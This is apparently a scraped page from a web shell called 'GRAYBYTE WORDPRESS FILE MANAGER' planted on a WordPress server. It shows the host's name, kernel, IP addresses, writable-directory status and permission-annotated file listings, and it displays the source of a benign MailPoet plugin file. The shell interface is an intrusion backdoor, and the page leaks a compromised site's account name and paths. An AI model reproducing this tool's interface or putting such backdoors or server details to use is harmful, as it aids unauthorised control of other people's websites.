✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.150
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/mailpoet/lib/Doctrine//ConnectionFactory.php
<?php // phpcs:ignore SlevomatCodingStandard.TypeHints.DeclareStrictTypes.DeclareStrictTypesMissing

namespace MailPoet\Doctrine;

if (!defined('ABSPATH')) exit;


use MailPoet\Doctrine\Middlewares\PostConnectMiddleware;
use MailPoet\Doctrine\Types\BigIntType;
use MailPoet\Doctrine\Types\DateTimeTzToStringType;
use MailPoet\Doctrine\Types\JsonOrSerializedType;
use MailPoet\Doctrine\Types\JsonType;
use MailPoet\Doctrine\Types\SerializedArrayType;
use MailPoet\Doctrine\WPDB\Driver as WPDBDriver;
use MailPoetVendor\Doctrine\DBAL\Configuration;
use MailPoetVendor\Doctrine\DBAL\Driver;
use MailPoetVendor\Doctrine\DBAL\Driver\Middleware;
use MailPoetVendor\Doctrine\DBAL\DriverManager;
use MailPoetVendor\Doctrine\DBAL\Types\Type;

class ConnectionFactory {
  const DRIVER_CLASS = WPDBDriver::class;

  private $types = [
    BigIntType::NAME => BigIntType::class,
    DateTimeTzToStringType::NAME => DateTimeTzToStringType::class,
    JsonType::NAME => JsonType::class,
    JsonOrSerializedType::NAME => JsonOrSerializedType::class,
    SerializedArrayType::NAME => SerializedArrayType::class,
  ];

  public function createConnection() {
    $this->setupTypes();
    return DriverManager::getConnection(
      [
        'driverClass' => self::DRIVER_CLASS,
      ],
      $this->getConfiguration()
    );
  }

  private function setupTypes() {
    foreach ($this->types as $name => $class) {
      if (Type::hasType($name)) {
        Type::overrideType($name, $class);
      } else {
        Type::addType($name, $class);
      }
    }
  }

  private function getConfiguration(): Configuration {
    $config = new Configuration();
    $driverMiddleware = new class implements Middleware {
      public function wrap(Driver $driver): Driver {
        return new PostConnectMiddleware($driver);
      }
    };
    $config->setMiddlewares([$driverMiddleware]);
    return $config;
  }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
Annotations
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
EntityTraits
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
EventListeners
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
Middlewares
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
Types
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
Validator
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
WPDB
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
ArrayCache.php
2.042 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
CacheOnlyMappingDriver.php
1.669 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
ConfigurationFactory.php
2.699 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
ConnectionFactory.php
1.844 KB
18 Sep 2024 11.32 AM
tdhomesa / tdhomesa
0644
EntityManagerFactory.php
3.94 KB
20 Feb 2024 4.39 PM
tdhomesa / tdhomesa
0644
MetadataCache.php
2.585 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
PSRArrayCache.php
1.771 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
PSRCacheInvalidArgumentException.php
0.312 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
PSRCacheItem.php
1.052 KB
28 Apr 2026 3.31 PM
tdhomesa / tdhomesa
0644
PSRMetadataCache.php
2.338 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
ProxyClassNameResolver.php
1.114 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
Repository.php
5.003 KB
12 Nov 2025 2.44 PM
tdhomesa / tdhomesa
0644
TablePrefixMetadataFactory.php
3.323 KB
7 Jan 2026 11.52 AM
tdhomesa / tdhomesa
0644
index.php
0.006 KB
25 Apr 2023 6.18 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF